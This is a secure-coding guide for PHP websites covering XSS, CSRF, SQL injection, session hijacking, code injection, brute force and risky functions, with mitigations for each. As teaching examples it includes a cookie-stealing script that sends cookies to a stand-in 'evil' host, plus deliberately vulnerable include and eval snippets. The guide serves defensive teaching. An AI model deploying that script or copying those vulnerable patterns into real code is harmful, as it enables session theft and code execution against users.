Security
Below are some general things to look out for when coding any website on the internet:
Semantic URL Attacks
This type of attack involves the user modifying the URL in order to discover what interesting things can be done.
For example, if the user chris clicks a link in your application and arrives at http://example.org/private.php?user=chris, it is reasonable to assume that he will try to see what happens when the value for user is changed.
Avoid with use of sessions
Cross-Site Scripting (XSS)
User submitted content may contain javascript, eg:
<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>
At the very least, you should use htmlentities( ) to escape any data that you send to the client—this function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.
Cross-Site Request Forgeries
A cross-site request forgery (CSRF) is a type of attack that allows an attacker to send arbitrary HTTP requests from a victim. The victim is an unknowing accomplice—the forged requests are sent by the victim, not the attacker. Thus, it is very difficult to determine when a request represents a CSRF attack. In fact, if you have not taken specific steps to mitigate the risk of CSRF attacks, your applications are most likely vulnerable.
An attacker can first use your form as intended to observe the behavior. For example, after purchasing a single pen, the attacker knows to expect a message of thanks when a purchase is successful. After noting this, the attacker can then try to see whether GET data can be used to perform the same action by visiting the following URL:
http://store.example.org/buy.php?item=pen&quantity=1
If this is also successful, then the attacker now knows the format of a URL that causes an item to be purchased when visited by an authenticated user. This situation makes a CSRF attack very easy because the attacker only needs to cause a victim to visit this URL.
You can take a few steps to mitigate the risk of CSRF attacks. Minor steps include using POST rather than GET in your HTML forms that perform actions, using $_POST instead of $_REQUEST in your form processing logic, and requiring verification for critical actions (convenience typically increases risk, and it's up to you to determine the appropriate balance).
The most important thing you can do is to try to force the use of your own forms. If a user sends a request that looks as though it is the result of a form submission, it makes sense to treat it with suspicion if the user has not recently requested the form that is supposedly being submitted.
Spoofed Form Submissions
Although it might seem surprising, form spoofing isn't something you can prevent, nor is it something you should worry about. As long as you properly filter input, users have to abide by your rules. However they choose to do so is irrelevant.
Exposed Access Credentials
One of the primary concerns related to the use of a database is the disclosure of the database access credentials—the username and password. For convenience, these might be stored in a file named db.inc
If you look at a default httpd.conf (Apache's configuration file), you can see that the default type is text/plain. This poses a particular risk when a file such as db.inc is stored within document root. Every resource within document root has a corresponding URL, and because Apache does not typically have a particular content type associated with .inc files, a request for such a resource will return the source in plain text (the default type), including the database access credentials.
SQL Injection
SQL injection is one of the most common vulnerabilities in PHP applications. What is particularly surprising about this fact is that an SQL injection vulnerability requires two failures on the part of the developer—a failure to filter data as it enters the application (filter input), and a failure to escape data as it is sent to the database (escape output). Neither of these crucial steps should ever be omitted, and both steps deserve particular attention in an attempt to minimize errors.
Session Hijacking
The most common session attack is session hijacking . This refers to any method that an attacker can use to access another user's session. The first step for any attacker is to obtain a valid session identifier, and therefore the secrecy of the session identifier is paramount.
The key to complicating impersonation is to strengthen identification. The session identifier is the primary means of identification, and you want to select other data that you can use to augment this. The only data you have available is the data within each HTTP request:
GET / HTTP/1.1
Host: example.org
User-Agent: Firefox/1.0
Accept: text/html, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
Requiring a consistent User-Agent helps, but if the session identifier is being propagated in a cookie (the recommended approach), it is reasonable to assume that, if an attacker can capture the session identifier, he can most likely capture the value of all other HTTP headers as well. Because cookie disclosure typically involves a browser vulnerability or cross-site scripting, the victim has most likely visited the attacker's web site, disclosing all headers. All an attacker must do is reproduce all of these to avoid any consistency check that uses HTTP headers.
A better approach is to propagate a token in the URL—something that can be considered a second (albeit much weaker) form of identification. This propagation takes some work—there is no feature of PHP that does it for you.
Code Injection
An extremely dangerous situation exists when you use tainted data as the leading part of a dynamic include:
<?php
include "{$_GET['path']}/header.inc";
?>
Brute Force Attacks
A brute force attack is an attack in which all available options are exhausted with no intelligence regarding which options are more likely. This is more formally known as an enumeration attack—the attack enumerates through all possibilities.
In terms of access control, brute force attacks typically involve an attacker trying to log in with a very large number of attempts. In most cases, known valid usernames are used, and the password is the only thing being guessed.
You can implement a number of safeguards to help protect against these types of attacks. It is worth noting that the HTTP requests used in a brute force attack are often identical in every way with one exception—the password.
Although a useful defense is to temporarily suspend an account once a maximum number of login failures are recorded, you might consider suspending an account according to certain aspects of the request, so that an attacker is less likely to interfere with a legitimate user's use of your application.
A few other approaches can also be used to make brute force attacks more difficult and less likely to succeed. A simple throttling mechanism can help to eliminate the practicality of such an attack
Password Sniffing
Although not specific to access control, when an attacker can sniff (observe) traffic between your users and your application, being mindful of data exposure becomes increasingly important, particularly regarding authentication credentials.
Using SSL is an effective way to protect the contents of both HTTP requests and their corresponding responses from exposure. Any request for a resource that uses the https scheme is protected against password sniffing . It is a best practice to always use SSL for sending authentication credentials, and you might consider also using SSL for all requests that contain a session identifier because this helps protect your users against session hijacking.
Replay Attacks
A replay attack, sometimes called a presentation attack, is any attack that involves the attacker replaying data sent previously by a legitimate user in order to gain access or other privileges granted to that user.
Functions
eval( )
While useful, eval( ) is very dangerous when tainted data is used. For example, if $name is tainted, an attacker can execute arbitrary PHP code:
<?php
$name = $_GET['name'];
eval($name);
?>
exec( ), passthru(), popen(), shellexec(),system()
Try to avoid using shell command functions, but when you require them, be sure to use only filtered, escaped data in the construction of the command to be executed (escapeshellcmd and escapeshellarg)
file(), file_get_contents(), fopen(), readfile()
If tainted data is used to construct the filename to be read with file( ), the contents must be considered tainted. This is because the tainted data used to construct the filename might cause you to reference a remote resource that returns malicious data. Once you store this data in a variable, the danger increases drastically
preg_replace()
The preg_replace( ) function is useful for making string replacements that match a pattern. It can be extremely dangerous when tainted data is used to construct the pattern, however, because the modifier makes it treat the replacement parameter as PHP code after the substitution.